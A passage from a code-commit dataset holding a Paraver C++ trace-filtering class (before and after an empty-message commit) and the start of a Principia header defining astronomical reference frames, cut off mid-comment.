PRV_UINT32 i = 0; i < bandWidth.size(); i++ )\n    {\n      stop = functionBandWidth->execute( ( TSemanticValue ) bandWidth[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionBandWidth->getResult();\n  }\n\n  return tmpResult;\n}\n\nbool KFilter::filterEvents( MemoryTrace::iterator *it )\n{\n  bool stop = true;\n  bool tmpResult = functionEventTypes->getDefaultValue();\n  TSemanticValue info;\n\n  if ( existEventTypes )\n  {\n    info = ( TSemanticValue ) it->getEventType();\n    for ( PRV_UINT32 i = 0; i < eventTypes.size(); i++ )\n    {\n      stop = functionEventTypes->execute( ( TSemanticValue ) eventTypes[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionEventTypes->getResult();\n  }\n\n  if ( opTypeValue == AND && !tmpResult )\n    return false;\n  else if( opTypeValue == OR && tmpResult )\n    return true;\n\n  if ( existEventValues )\n  {\n    tmpResult = functionEventValues->getDefaultValue();\n\n    info = ( TSemanticValue ) it->getEventValue();\n    for ( PRV_UINT32 i = 0; i < eventValues.size(); i++ )\n    {\n      stop = functionEventValues->execute( ( TSemanticValue ) eventValues[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionEventValues->getResult();\n  }\n\n  return tmpResult;\n}\n\n\nstring FilterAll::name = \"All\";\nbool FilterAll::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = true;\n  return true;\n}\n\nstring FilterNone::name = \"None\";\nbool FilterNone::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = false;\n  return true;\n}\n\nstring FilterEqual::name = \"=\";\nbool FilterEqual::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = data == param;\n  if ( result )\n    return true;\n  return false;\n}\n\nstring FilterNotEqual::name = \"!=\";\nbool FilterNotEqual::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = data != param;\n  if ( result )\n    return false;\n  return true;\n}\n\nstring FilterGreater::name = \">\";\nbool FilterGreater::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = data > param;\n  if ( result )\n    return false;\n  return true;\n}\n\nstring FilterFewer::name = \"<\";\nbool FilterFewer::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = data < param;\n  if ( result )\n    return false;\n  return true;\n}\n\nstring FilterRange::name = \"[x,y]\";\nbool FilterRange::execute( TSemanticValue param, TSemanticValue data )\n{\n  bool tmp = true;\n\n  if ( position == MINOR )\n  {\n    result = data >= param;\n    if ( result )\n    {\n      tmp = false;\n      position = MAJOR;\n    }\n    else\n      tmp = true;\n  }\n  else if ( position == MAJOR )\n  {\n    result = data <= param;\n    position = MINOR;\n    tmp = true;\n  }\n  return tmp;\n}\n\n\nvoid KFilter::clearCommFrom()\n{\n  commFrom.clear();\n  existCommFrom = false;\n}\n\nvoid KFilter::insertCommFrom( TObjectOrder value )\n{\n  commFrom.push_back( value );\n  existCommFrom = true;\n}\n\nvoid KFilter::getCommFrom( vector<TObjectOrder>& onVector ) const\n{\n  onVector = commFrom;\n}\n\nvoid KFilter::setCommFromFunction( string newFunction )\n{\n  delete functionCommFrom;\n  functionCommFrom = FunctionManagement<FilterFunction>::getInstance()\n                     ->getFunction( newFunction );\n}\n\nstring KFilter::getCommFromFunction() const\n{\n  return functionCommFrom->getName();\n}\n\nvoid KFilter::clearCommTo()\n{\n  commTo.clear();\n  existCommTo = false;\n}\n\nvoid KFilter::insertCommTo( TObjectOrder value )\n{\n  commTo.push_back( value );\n  existCommTo = true;\n}\n\nvoid KFilter::getCommTo( vector<TObjectOrder>& onVector ) const\n{\n  onVector = commTo;\n}\n\nvoid KFilter::setCommToFunction( string newFunction )\n{\n  delete functionCommTo;\n  functionCommTo = FunctionManagement<FilterFunction>::getInstance()\n                   ->getFunction( newFunction );\n}\n\nstring KFilter::getCommToFunction() const\n{\n  return functionCommTo->getName();\n}\n\nvoid KFilter::clearCommTags()\n{\n  commTags.clear();\n  existCommTags = false;\n}\n\nvoid KFilter::insertCommTag( TCommTag value )\n{\n  commTags.push_back( value );\n  existCommTags = true;\n}\n\nvoid KFilter::getCommTag( vector<TCommTag>& onVector ) const\n{\n  onVector = commTags;\n}\n\nvoid KFilter::setCommTagFunction( string newFunction )\n{\n  delete functionCommTags;\n  functionCommTags = FunctionManagement<FilterFunction>::getInstance()\n                     ->getFunction( newFunction );\n}\n\nstring KFilter::getCommTagFunction() const\n{\n  return functionCommTags->getName();\n}\n\nvoid KFilter::clearCommSizes()\n{\n  commSizes.clear();\n  existCommSize = false;\n}\n\nvoid KFilter::insertCommSize( TCommSize value )\n{\n  commSizes.push_back( value );\n  existCommSize = true;\n}\n\nvoid KFilter::getCommSize( vector<TCommSize>& onVector ) const\n{\n  onVector = commSizes;\n}\n\nvoid KFilter::setCommSizeFunction( string newFunction )\n{\n  delete functionCommSizes;\n  functionCommSizes = FunctionManagement<FilterFunction>::getInstance()\n                      ->getFunction( newFunction );\n}\n\nstring KFilter::getCommSizeFunction() const\n{\n  return functionCommSizes->getName();\n}\n\nvoid KFilter::clearBandWidth()\n{\n  bandWidth.clear();\n  existBandWidth = false;\n}\n\nvoid KFilter::insertBandWidth( TSemanticValue value )\n{\n  bandWidth.push_back( value );\n  existBandWidth = true;\n}\n\nvoid KFilter::getBandWidth( vector<TSemanticValue>& onVector ) const\n{\n  onVector = bandWidth;\n}\n\nvoid KFilter::setBandWidthFunction( string newFunction )\n{\n  delete functionBandWidth;\n  functionBandWidth = FunctionManagement<FilterFunction>::getInstance()\n                      ->getFunction( newFunction );\n}\n\nstring KFilter::getBandWidthFunction() const\n{\n  return functionBandWidth->getName();\n}\n\nvoid KFilter::clearEventTypes()\n{\n  eventTypes.clear();\n  existEventTypes = false;\n}\n\nvoid KFilter::insertEventType( TEventType value )\n{\n  eventTypes.push_back( value );\n  existEventTypes = true;\n}\n\nvoid KFilter::getEventType( vector<TEventType>& onVector ) const\n{\n  onVector = eventTypes;\n}\n\nvoid KFilter::setEventTypeFunction( string newFunction )\n{\n  delete functionEventTypes;\n  functionEventTypes = FunctionManagement<FilterFunction>::getInstance()\n                       ->getFunction( newFunction );\n}\n\nstring KFilter::getEventTypeFunction() const\n{\n  return functionEventTypes->getName();\n}\n\nvoid KFilter::getValidEvents( vector<TEventType>& onVector,\n                              const set<TEventType>& eventsLoaded ) const\n{\n  bool stop = true;\n\n  for ( set<TEventType>::const_iterator itEvt = eventsLoaded.begin();\n        itEvt != eventsLoaded.end(); ++itEvt )\n  {\n    for ( PRV_UINT32 i = 0; i < eventTypes.size(); i++ )\n    {\n      stop = functionEventTypes->execute( ( TSemanticValue ) eventTypes[ i ], ( *itEvt ) );\n      if ( stop )\n        break;\n    }\n    if( functionEventTypes->getResult() )\n      onVector.push_back( ( *itEvt ) );\n  }\n\n}\n\nvoid KFilter::clearEventValues()\n{\n  eventValues.clear();\n  existEventValues = false;\n}\n\nvoid KFilter::insertEventValue( TEventValue value )\n{\n  eventValues.push_back( value );\n  existEventValues = true;\n}\n\nvoid KFilter::getEventValue( vector<TEventValue>& onVector ) const\n{\n  onVector = eventValues;\n}\n\nvoid KFilter::setEventValueFunction( string newFunction )\n{\n  delete functionEventValues;\n  functionEventValues = FunctionManagement<FilterFunction>::getInstance()\n                        ->getFunction( newFunction );\n}\n\nstring KFilter::getEventValueFunction() const\n{\n  return functionEventValues->getName();\n}\n\nKFilter *KFilter::clone( KWindow *clonedWindow )\n{\n  KFilter *clonedKFilter = new KFilter( clonedWindow );\n\n  \/\/ Constructor allocates FilterFunctions\n  delete clonedKFilter->functionCommFrom;\n  delete clonedKFilter->functionCommTo;\n  delete clonedKFilter->functionCommTags;\n  delete clonedKFilter->functionCommSizes;\n  delete clonedKFilter->functionBandWidth;\n  delete clonedKFilter->functionEventTypes;\n  delete clonedKFilter->functionEventValues;\n\n  \/\/ Copy values and clone FilterFunctions\n  clonedKFilter->logical = logical;\n  clonedKFilter->physical = physical;\n\n  clonedKFilter->existCommFrom = existCommFrom;\n  clonedKFilter->commFrom = vector<TObjectOrder>( commFrom );\n  clonedKFilter->functionCommFrom = functionCommFrom->clone();\n\n  clonedKFilter->opFromTo = opFromTo;\n\n  clonedKFilter->existCommTo = existCommTo;\n  clonedKFilter->commTo = vector<TObjectOrder>( commTo );\n  clonedKFilter->functionCommTo = functionCommTo->clone();\n\n  clonedKFilter->existCommTags = existCommTags;\n  clonedKFilter->commTags = vector<TCommTag>( commTags );\n  clonedKFilter->functionCommTags = functionCommTags->clone();\n\n  clonedKFilter->opTagSize = opTagSize;\n\n  clonedKFilter->existCommSize = existCommSize;\n  clonedKFilter->commSizes = vector<TCommSize>( commSizes );\n  clonedKFilter->functionCommSizes = functionCommSizes->clone();\n\n  clonedKFilter->existBandWidth = existBandWidth;\n  clonedKFilter->bandWidth = vector<TSemanticValue>( bandWidth );\n  clonedKFilter->functionBandWidth = functionBandWidth->clone();\n\n  clonedKFilter->existEventTypes = existEventTypes;\n  clonedKFilter->eventTypes = vector<TEventType>( eventTypes );\n  clonedKFilter->functionEventTypes = functionEventTypes->clone();\n\n  clonedKFilter->opTypeValue = opTypeValue;\n\n  clonedKFilter->existEventValues = existEventValues;\n  clonedKFilter->eventValues = vector<TEventValue>( eventValues );\n  clonedKFilter->functionEventValues = functionEventValues->clone();\n\n  return clonedKFilter;\n}\n<commit_msg>*** empty log message ***<commit_after>\/*****************************************************************************\\\n *                        ANALYSIS PERFORMANCE TOOLS                         *\n *                               libparaver-api                              *\n *                       Paraver Main Computing Library                      *\n *****************************************************************************\n *     ___     This library is free software; you can redistribute it and\/or *\n *    \/  __         modify it under the terms of the GNU LGPL as published   *\n *   \/  \/  _____    by the Free Software Foundation; either version 2.1      *\n *  \/  \/  \/     \\   of the License, or (at your option) any later version.   *\n * (  (  ( B S C )                                                           *\n *  \\  \\  \\_____\/   This library is distributed in hope that it will be      *\n *   \\  \\__         useful but WITHOUT ANY WARRANTY; without even the        *\n *    \\___          implied warranty of MERCHANTABILITY or FITNESS FOR A     *\n *                  PARTICULAR PURPOSE. See the GNU LGPL for more details.   *\n *                                                                           *\n * You should have received a copy of the GNU Lesser General Public License  *\n * along with this library; if not, write to the Free Software Foundation,   *\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA          *\n * The GNU LEsser General Public License is contained in the file COPYING.   *\n *                                 ---------                                 *\n *   Barcelona Supercomputing Center - Centro Nacional de Supercomputacion   *\n\\*****************************************************************************\/\n\n\/* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- *\\\n | @file: $HeadURL$\n | @last_commit: $Date$\n | @version:     $Revision$\n\\* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- *\/\n\n#include \"kfilter.h\"\n#include \"kwindow.h\"\n#include \"functionmanagement.h\"\n\nbool KFilter::passFilter( MemoryTrace::iterator *it )\n{\n  if ( it->getType() & EVENT )\n    return filterEvents( it );\n  else if ( it->getType() & COMM ||\n            it->getType() & RSEND ||\n            it->getType() & RRECV )\n    return filterComms( it );\n  return true;\n}\n\nbool KFilter::filterComms( MemoryTrace::iterator *it )\n{\n  bool stop = true;\n  TSemanticValue info;\n\n  if ( !( logical && physical ) )\n  {\n    if ( !logical && !physical )\n      return false;\n    if ( it->getType() & LOG )\n    {\n      if ( !logical )\n        return false;\n    }\n    else if ( it->getType() & PHY )\n    {\n      if ( !physical )\n      {\n        if ( !( logical && ( ( it->getType() & RECV || it->getType() & RRECV ) &&\n                             ( window->getTrace()->getLogicalReceive( it->getCommIndex() ) <\n                               window->getTrace()->getPhysicalReceive( it->getCommIndex() ) ) ) )\n           )\n          return false;\n      }\n    }\n  }\n\n  bool tmpResult = functionCommFrom->getDefaultValue();\n  if ( existCommFrom )\n  {\n    if ( window->getLevel() >= SYSTEM )\n    {\n      TCPUOrder tmpCPU = window->getTrace()->getSenderCPU( it->getCommIndex() );\n      info = ( TSemanticValue ) window->cpuObjectToWindowObject( tmpCPU );\n    }\n    else\n    {\n      TThreadOrder tmpThread = window->getTrace()->getSenderThread( it->getCommIndex() );\n      info = ( TSemanticValue ) window->threadObjectToWindowObject( tmpThread );\n    }\n    for ( PRV_UINT32 i = 0; i < commFrom.size(); i++ )\n    {\n      stop = functionCommFrom->execute( ( TSemanticValue ) commFrom[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionCommFrom->getResult();\n  }\n\n  if ( opFromTo == AND && !tmpResult )\n    return false;\n  else if( opFromTo == OR && tmpResult )\n    return true;\n\n  tmpResult = functionCommTo->getDefaultValue();\n  if ( existCommTo )\n  {\n    if ( window->getLevel() >= SYSTEM )\n    {\n      TCPUOrder tmpCPU = window->getTrace()->getReceiverCPU( it->getCommIndex() );\n      info = ( TSemanticValue ) window->cpuObjectToWindowObject( tmpCPU );\n    }\n    else\n    {\n      TThreadOrder tmpThread = window->getTrace()->getReceiverThread( it->getCommIndex() );\n      info = ( TSemanticValue ) window->threadObjectToWindowObject( tmpThread );\n    }\n    for ( PRV_UINT32 i = 0; i < commTo.size(); i++ )\n    {\n      stop = functionCommTo->execute( ( TSemanticValue ) commTo[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionCommTo->getResult();\n  }\n\n  if ( !tmpResult )\n    return false;\n\n  tmpResult = functionCommTags->getDefaultValue();\n  if ( existCommTags )\n  {\n    info = ( TSemanticValue ) window->getTrace()->getCommTag( it->getCommIndex() );\n    for ( PRV_UINT32 i = 0; i < commTags.size(); i++ )\n    {\n      stop = functionCommTags->execute( ( TSemanticValue ) commTags[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionCommTags->getResult();\n  }\n\n  if ( opTagSize == AND && !tmpResult )\n    return false;\n  else if( opTagSize == OR && tmpResult )\n    return true;\n\n  tmpResult = functionCommSizes->getDefaultValue();\n  if ( existCommSize )\n  {\n    info = ( TSemanticValue ) window->getTrace()->getCommSize( it->getCommIndex() );\n    for ( PRV_UINT32 i = 0; i < commSizes.size(); i++ )\n    {\n      stop = functionCommSizes->execute( ( TSemanticValue ) commSizes[ i ], info );\n      if ( stop == false )\n        break;\n    }\n    tmpResult = functionCommSizes->getResult();\n  }\n\n  if ( !tmpResult )\n    return false;\n\n  tmpResult = functionBandWidth->getDefaultValue();\n  if ( existBandWidth )\n  {\n    info = ( TSemanticValue ) window->getTrace()->getCommSize( it->getCommIndex() )\n           \/ ( TSemanticValue )\n           ( window->getTrace()->getPhysicalReceive( it->getCommIndex() ) -\n             window->getTrace()->getPhysicalSend( it->getCommIndex() ) );\n    for ( PRV_UINT32 i = 0; i < bandWidth.size(); i++ )\n    {\n      stop = functionBandWidth->execute( ( TSemanticValue ) bandWidth[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionBandWidth->getResult();\n  }\n\n  return tmpResult;\n}\n\nbool KFilter::filterEvents( MemoryTrace::iterator *it )\n{\n  bool stop = true;\n  bool tmpResult = functionEventTypes->getDefaultValue();\n  TSemanticValue info;\n\n  if ( existEventTypes )\n  {\n    info = ( TSemanticValue ) it->getEventType();\n    for ( PRV_UINT32 i = 0; i < eventTypes.size(); i++ )\n    {\n      stop = functionEventTypes->execute( ( TSemanticValue ) eventTypes[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionEventTypes->getResult();\n  }\n\n  if ( opTypeValue == AND && !tmpResult )\n    return false;\n  else if( opTypeValue == OR && tmpResult )\n    return true;\n\n  if ( existEventValues )\n  {\n    tmpResult = functionEventValues->getDefaultValue();\n\n    info = ( TSemanticValue ) it->getEventValue();\n    for ( PRV_UINT32 i = 0; i < eventValues.size(); i++ )\n    {\n      stop = functionEventValues->execute( ( TSemanticValue ) eventValues[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionEventValues->getResult();\n  }\n\n  return tmpResult;\n}\n\n\nstring FilterAll::name = \"All\";\nbool FilterAll::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = true;\n  return true;\n}\n\nstring FilterNone::name = \"None\";\nbool FilterNone::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = false;\n  return true;\n}\n\nstring FilterEqual::name = \"=\";\nbool FilterEqual::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = data == param;\n  if ( result )\n    return true;\n  return false;\n}\n\nstring FilterNotEqual::name = \"!=\";\nbool FilterNotEqual::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = data != param;\n  if ( result )\n    return false;\n  return true;\n}\n\nstring FilterGreater::name = \">\";\nbool FilterGreater::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = data > param;\n  if ( result )\n    return false;\n  return true;\n}\n\nstring FilterFewer::name = \"<\";\nbool FilterFewer::execute( TSemanticValue param, TSemanticValue data )\n{\n  result = data < param;\n  if ( result )\n    return false;\n  return true;\n}\n\nstring FilterRange::name = \"[x,y]\";\nbool FilterRange::execute( TSemanticValue param, TSemanticValue data )\n{\n  bool tmp = true;\n\n  if ( position == MINOR )\n  {\n    result = data >= param;\n    if ( result )\n    {\n      tmp = false;\n      position = MAJOR;\n    }\n    else\n      tmp = true;\n  }\n  else if ( position == MAJOR )\n  {\n    result = data <= param;\n    position = MINOR;\n    tmp = true;\n  }\n  return tmp;\n}\n\n\nvoid KFilter::clearCommFrom()\n{\n  commFrom.clear();\n  existCommFrom = false;\n}\n\nvoid KFilter::insertCommFrom( TObjectOrder value )\n{\n  commFrom.push_back( value );\n  existCommFrom = true;\n}\n\nvoid KFilter::getCommFrom( vector<TObjectOrder>& onVector ) const\n{\n  onVector = commFrom;\n}\n\nvoid KFilter::setCommFromFunction( string newFunction )\n{\n  delete functionCommFrom;\n  functionCommFrom = FunctionManagement<FilterFunction>::getInstance()\n                     ->getFunction( newFunction );\n}\n\nstring KFilter::getCommFromFunction() const\n{\n  return functionCommFrom->getName();\n}\n\nvoid KFilter::clearCommTo()\n{\n  commTo.clear();\n  existCommTo = false;\n}\n\nvoid KFilter::insertCommTo( TObjectOrder value )\n{\n  commTo.push_back( value );\n  existCommTo = true;\n}\n\nvoid KFilter::getCommTo( vector<TObjectOrder>& onVector ) const\n{\n  onVector = commTo;\n}\n\nvoid KFilter::setCommToFunction( string newFunction )\n{\n  delete functionCommTo;\n  functionCommTo = FunctionManagement<FilterFunction>::getInstance()\n                   ->getFunction( newFunction );\n}\n\nstring KFilter::getCommToFunction() const\n{\n  return functionCommTo->getName();\n}\n\nvoid KFilter::clearCommTags()\n{\n  commTags.clear();\n  existCommTags = false;\n}\n\nvoid KFilter::insertCommTag( TCommTag value )\n{\n  commTags.push_back( value );\n  existCommTags = true;\n}\n\nvoid KFilter::getCommTag( vector<TCommTag>& onVector ) const\n{\n  onVector = commTags;\n}\n\nvoid KFilter::setCommTagFunction( string newFunction )\n{\n  delete functionCommTags;\n  functionCommTags = FunctionManagement<FilterFunction>::getInstance()\n                     ->getFunction( newFunction );\n}\n\nstring KFilter::getCommTagFunction() const\n{\n  return functionCommTags->getName();\n}\n\nvoid KFilter::clearCommSizes()\n{\n  commSizes.clear();\n  existCommSize = false;\n}\n\nvoid KFilter::insertCommSize( TCommSize value )\n{\n  commSizes.push_back( value );\n  existCommSize = true;\n}\n\nvoid KFilter::getCommSize( vector<TCommSize>& onVector ) const\n{\n  onVector = commSizes;\n}\n\nvoid KFilter::setCommSizeFunction( string newFunction )\n{\n  delete functionCommSizes;\n  functionCommSizes = FunctionManagement<FilterFunction>::getInstance()\n                      ->getFunction( newFunction );\n}\n\nstring KFilter::getCommSizeFunction() const\n{\n  return functionCommSizes->getName();\n}\n\nvoid KFilter::clearBandWidth()\n{\n  bandWidth.clear();\n  existBandWidth = false;\n}\n\nvoid KFilter::insertBandWidth( TSemanticValue value )\n{\n  bandWidth.push_back( value );\n  existBandWidth = true;\n}\n\nvoid KFilter::getBandWidth( vector<TSemanticValue>& onVector ) const\n{\n  onVector = bandWidth;\n}\n\nvoid KFilter::setBandWidthFunction( string newFunction )\n{\n  delete functionBandWidth;\n  functionBandWidth = FunctionManagement<FilterFunction>::getInstance()\n                      ->getFunction( newFunction );\n}\n\nstring KFilter::getBandWidthFunction() const\n{\n  return functionBandWidth->getName();\n}\n\nvoid KFilter::clearEventTypes()\n{\n  eventTypes.clear();\n  existEventTypes = false;\n}\n\nvoid KFilter::insertEventType( TEventType value )\n{\n  eventTypes.push_back( value );\n  existEventTypes = true;\n}\n\nvoid KFilter::getEventType( vector<TEventType>& onVector ) const\n{\n  onVector = eventTypes;\n}\n\nvoid KFilter::setEventTypeFunction( string newFunction )\n{\n  delete functionEventTypes;\n  functionEventTypes = FunctionManagement<FilterFunction>::getInstance()\n                       ->getFunction( newFunction );\n}\n\nstring KFilter::getEventTypeFunction() const\n{\n  return functionEventTypes->getName();\n}\n\nvoid KFilter::getValidEvents( vector<TEventType>& onVector,\n                              const set<TEventType>& eventsLoaded ) const\n{\n  bool stop = true;\n\n  for ( set<TEventType>::const_iterator itEvt = eventsLoaded.begin();\n        itEvt != eventsLoaded.end(); ++itEvt )\n  {\n    for ( PRV_UINT32 i = 0; i < eventTypes.size(); i++ )\n    {\n      stop = functionEventTypes->execute( ( TSemanticValue ) eventTypes[ i ], ( *itEvt ) );\n      if ( stop )\n        break;\n    }\n    if( functionEventTypes->getResult() )\n      onVector.push_back( ( *itEvt ) );\n  }\n\n}\n\nvoid KFilter::clearEventValues()\n{\n  eventValues.clear();\n  existEventValues = false;\n}\n\nvoid KFilter::insertEventValue( TEventValue value )\n{\n  eventValues.push_back( value );\n  existEventValues = true;\n}\n\nvoid KFilter::getEventValue( vector<TEventValue>& onVector ) const\n{\n  onVector = eventValues;\n}\n\nvoid KFilter::setEventValueFunction( string newFunction )\n{\n  delete functionEventValues;\n  functionEventValues = FunctionManagement<FilterFunction>::getInstance()\n                        ->getFunction( newFunction );\n}\n\nstring KFilter::getEventValueFunction() const\n{\n  return functionEventValues->getName();\n}\n\nKFilter *KFilter::clone( KWindow *clonedWindow )\n{\n  KFilter *clonedKFilter = new KFilter( clonedWindow );\n\n  \/\/ Constructor allocates FilterFunctions\n  delete clonedKFilter->functionCommFrom;\n  delete clonedKFilter->functionCommTo;\n  delete clonedKFilter->functionCommTags;\n  delete clonedKFilter->functionCommSizes;\n  delete clonedKFilter->functionBandWidth;\n  delete clonedKFilter->functionEventTypes;\n  delete clonedKFilter->functionEventValues;\n\n  \/\/ Copy values and clone FilterFunctions\n  clonedKFilter->logical = logical;\n  clonedKFilter->physical = physical;\n\n  clonedKFilter->existCommFrom = existCommFrom;\n  clonedKFilter->commFrom = vector<TObjectOrder>( commFrom );\n  clonedKFilter->functionCommFrom = functionCommFrom->clone();\n\n  clonedKFilter->opFromTo = opFromTo;\n\n  clonedKFilter->existCommTo = existCommTo;\n  clonedKFilter->commTo = vector<TObjectOrder>( commTo );\n  clonedKFilter->functionCommTo = functionCommTo->clone();\n\n  clonedKFilter->existCommTags = existCommTags;\n  clonedKFilter->commTags = vector<TCommTag>( commTags );\n  clonedKFilter->functionCommTags = functionCommTags->clone();\n\n  clonedKFilter->opTagSize = opTagSize;\n\n  clonedKFilter->existCommSize = existCommSize;\n  clonedKFilter->commSizes = vector<TCommSize>( commSizes );\n  clonedKFilter->functionCommSizes = functionCommSizes->clone();\n\n  clonedKFilter->existBandWidth = existBandWidth;\n  clonedKFilter->bandWidth = vector<TSemanticValue>( bandWidth );\n  clonedKFilter->functionBandWidth = functionBandWidth->clone();\n\n  clonedKFilter->existEventTypes = existEventTypes;\n  clonedKFilter->eventTypes = vector<TEventType>( eventTypes );\n  clonedKFilter->functionEventTypes = functionEventTypes->clone();\n\n  clonedKFilter->opTypeValue = opTypeValue;\n\n  clonedKFilter->existEventValues = existEventValues;\n  clonedKFilter->eventValues = vector<TEventValue>( eventValues );\n  clonedKFilter->functionEventValues = functionEventValues->clone();\n\n  return clonedKFilter;\n}\n<|endoftext|>"}
{"text":"<commit_before>﻿\n#pragma once\n\n#include <functional>\n\n#include \"geometry\/frame.hpp\"\n#include \"geometry\/named_quantities.hpp\"\n#include \"quantities\/si.hpp\"\n#include \"serialization\/geometry.pb.h\"\n\nnamespace principia {\nnamespace astronomy {\nnamespace internal_frames {\n\nusing geometry::Frame;\nusing geometry::Instant;\nusing geometry::Position;\nusing quantities::si::ArcMinute;\nusing quantities::si::ArcSecond;\nusing quantities::si::Degree;\n\n\/\/ The International Celestial Reference System.\n\/\/ The origin is the barycentre of the solar system.  The axes are fixed with\n\/\/ respect to the quasars.\n\/\/ The xy plane is close to the mean equator at J2000.0.\n\/\/ The x axis is close to the dynamical equinox at J2000.\n\/\/ The z axis is perpendicular to the xy plane and points to the northern side\n\/\/ of the xy plane.\n\/\/ To be honest:\nusing ICRS = Frame<serialization::Frame::SolarSystemTag,\n                   serialization::Frame::ICRS,\n                   \/*frame_is_inertial=*\/true>;\n\n\/\/ The Geocentric Celestial Reference System.\n\/\/ The origin is the centre of mass of the whole Earth system, including oceans\n\/\/ and atmosphere; the axes are those of the ICRS.\n\/\/ To be honest:\n\/\/ - The BCRS and GCRS are relativistic reference systems.\n\/\/ - The transformation between BCRS and GCRS spatial coordinates has no\n\/\/   rotational component, i.e., the GCRS is kinematically non-rotating with\n\/\/   respect to the BCRS; as a result, it rotates dynamically with respect to\n\/\/   the BCRS; in particular, the equations of motion in the GCRS include de\n\/\/   Sitter and Lense–Thirring precession.\n\/\/ - The time coordinate of the BCRS is TCB, and the time coordinate of the GCRS\n\/\/   is TCG; TT is a linear scaling of TCG, and TDB is a linear scaling of TDB;\n\/\/   for practical purposes TT and TDB are within 2 ms of each other;\n\/\/   Principia's |Instant| is TT.\nusing GCRS = Frame<serialization::Frame::SolarSystemTag,\n                   serialization::Frame::GCRS,\n                   \/*frame_is_inertial=*\/false>;\n\n\/\/ The International Terrestrial Reference System.\n\/\/ The origin is the centre of mass of the whole Earth system, including oceans\n\/\/ and atmosphere; there is no global residual rotation with respect to\n\/\/ horizontal motions at the earth's surface.\n\/\/ Practical notes:\n\/\/ - This is identical to WGS84 at 1 m level, and to recent realizations of WGS\n\/\/   84 at 10 cm level; the xz plane is a bit over a hundred metres from the\n\/\/   Royal Observatory in Greenwich.\n\/\/   Caveat: using |SphericalCoordinates<Length>| on ITRS coordinates is\n\/\/   inconsistent with WGS 84 latitudes; the WGS 84 geoid should be used.\n\/\/ - The ITRS is related to the European Terrestrial Reference System (ETRS89)\n\/\/   by a time-dependent rigid transformation.\n\/\/ To be honest:\n\/\/ - There are many realizations of the ITRS; as of this writing, ICRFs 89, 90,\n\/\/   91, 92, 93, 94, 96, 97, 2000, 2005, 2008, and 2014.  They are related by\n\/\/   linearly time-dependent linearized similarity transformations with nonzero\n\/\/   scaling, which the current abstractions of Principia cannot support; see\n\/\/   Transformation parameters from ITRF2014 to past ITRFs,\n\/\/   http:\/\/itrf.ensg.ign.fr\/doc_ITRF\/Transfo-ITRF2014_ITRFs.txt.  Identifying\n\/\/   recent ITRFs (2005 and later) results in errors of a few millimetres at the\n\/\/   geocentre, scale errors on the order of 1 part-per-billion, and angular\n\/\/   errors below 1 μas.  Identifying earlier ITRFs results in errors may result\n\/\/   in errors of tens of centimetres at the geocentre, scale errors on the\n\/\/   order of ten parts per billion, and arcsecond-level angular errors.\n\/\/ - ETRFyy is always related to the corresponding ITRFyy by a linearized rigid\n\/\/   transformation depending linearly on time, however it is related to other\n\/\/   ITRFs by time-dependent similarity with time-dependent nonzero scaling; see\n\/\/   the tables in EUREF Technical Note 1,\n\/\/   http:\/\/etrs89.ensg.ign.fr\/pub\/EUREF-TN-1.pdf\nusing ITRS = Frame<serialization::Frame::SolarSystemTag,\n                   serialization::Frame::ITRS,\n                   \/*frame_is_inertial=*\/false>;\n\n\/\/ The following two reference systems are both geocentric, and they share the\n\/\/ same z axis, the Celestial Intermediate Pole.  Their common xy plane is the\n\/\/ intermediate equator.\n\/\/ The rotation around the z axis relating the Terrestrial and Celestial\n\/\/ Intermediate Reference Systems, i.e., the angle between the Terrestrial and\n\/\/ Celestial Intermediate Origins, is the Earth Rotation Angle (ERA); the Earth\n\/\/ Rotation Angle is an affine function of UT1 defined by equation 5.14 of the\n\/\/ IERS conventions (2010).  Note that the rate is faster than 2π radians per\n\/\/ UT1 day, as UT1 is notionally mean solar days, whereas revolutions of the ERA\n\/\/ are stellar days.\n\n\/\/ The glossary of the Nomenclature for Fundamental Astronomy notes for both\n\/\/ that \"since the acronym for this system is close to another acronym (namely\n\/\/ [ITRS, respectively ICRS]), it is suggested that wherever possible the\n\/\/ complete name be used\".\n\n\/\/ The Terrestrial Intermediate Reference System.\n\/\/ The x axis is the Terrestrial Intermediate Origin.\n\/\/ The ITRS is related to the Terrestrial Intermediate Reference System by polar\n\/\/ motion, as described in sections 5.4.1 and 5.5.1 of the IERS conventions\n\/\/ (2010).\n\/\/ TODO(egg): identifying this with the ITRS, besides leading to acronym\n\/\/ confusion, results in arcsecond-level errors.\nusing TerrestrialIntermediateReferenceSystem = ITRS;\n\n\/\/ The origin is geocentric; the basis is right-handed and orthonormal, the xy\n\/\/ plane is the same as that of the Terrestrial Intermediate Reference System,\n\/\/ i.e., the intermediate equator.\n\/\/ The x axis is the Celestial Intermediate Origin.\n\/\/ The GCRS is related to the Celestial Intermediate Reference System by\n\/\/ precession-nutation and frame biases, see sections 5.4.4 and 5.5.4 of the\n\/\/ IERS conventions (2010).\n\/\/ TODO(egg): identifying this with the GCRS leads to errors on the order of 10\n\/\/ arcminutes at the time of this writing, and on the order of a degree over a\n\/\/ century.\nusing CelestialIntermediateReferenceSystem = GCRS;\n\n\/\/ A reference frame for transit exoplanetology.\n\/\/ The xy plane is the plane of the sky.  The 